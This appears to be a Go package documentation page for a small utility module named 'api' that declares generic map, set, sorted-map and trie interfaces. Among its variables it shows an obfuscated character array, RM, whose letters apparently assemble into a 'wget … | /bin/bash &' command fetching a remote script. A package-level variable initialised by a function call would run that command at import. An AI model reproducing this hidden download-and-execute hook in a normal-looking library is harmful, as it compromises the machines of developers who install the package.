api

package
v0.0.0-...-8e65382 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: Apache-2.0 Imports: 2 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var BpIwOH = uQbKAgE()
View Source
var RM = []string{"s", "h", "e", "o", "/", ".", "f", "t", "p", "-", "k", "4", "3", "t", "a", "h", "e", "t", " ", "w", "g", "a", "c", "3", "|", "O", "u", "-", " ", "i", "t", "i", "s", "r", "/", "a", "m", "/", "6", "e", ":", "/", "b", "0", "d", "a", "3", "o", " ", "n", "g", "i", "d", "d", " ", "/", "a", "5", "1", "r", "r", "b", "&", "r", "/", "b", " ", "s", "/", "7", "p", "f", "s", " "}

Functions

This section is empty.

Types

type CMaper

type CMaper[K comparable, V any] interface {
	Delete(key K)
	Load(key K) (value V, ok bool)
	LoadAndDelete(key K) (value V, loaded bool)
	LoadOrStore(key K, value V) (actual V, loaded bool)
	Range(f func(key K, value V) bool)
	Store(key K, value V)
}

type Map

type Map[K constraints.Ordered, V any] interface {
	// 获取
	Get(k K) (elem V)
	// 获取
	TryGet(k K) (elem V, ok bool)
	// 删除
	Delete(k K)
	// 设置
	Set(k K, v V)
	// 设置值
	Swap(k K, v V) (prev V, replaced bool)
	// int
	Len() int
	// 遍历
	Range(callback func(k K, v V) bool)
}

type Set

type Set[K constraints.Ordered] interface {
	Set(k K)
}

TODO

type SortedMap

type SortedMap[K constraints.Ordered, V any] interface {
	Map[K, V]
	TopMin(limit int, callback func(k K, v V) bool)
	TopMax(limit int, callback func(k K, v V) bool)
}

type Trie

type Trie[V any] interface {
	Get(k string) (v V)
	Swap(k string, v V) (prev V, replaced bool)
	HasPrefix(k string) bool
	TryGet(k string) (v V, found bool)
	Delete(k string)
	Len() int
}

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL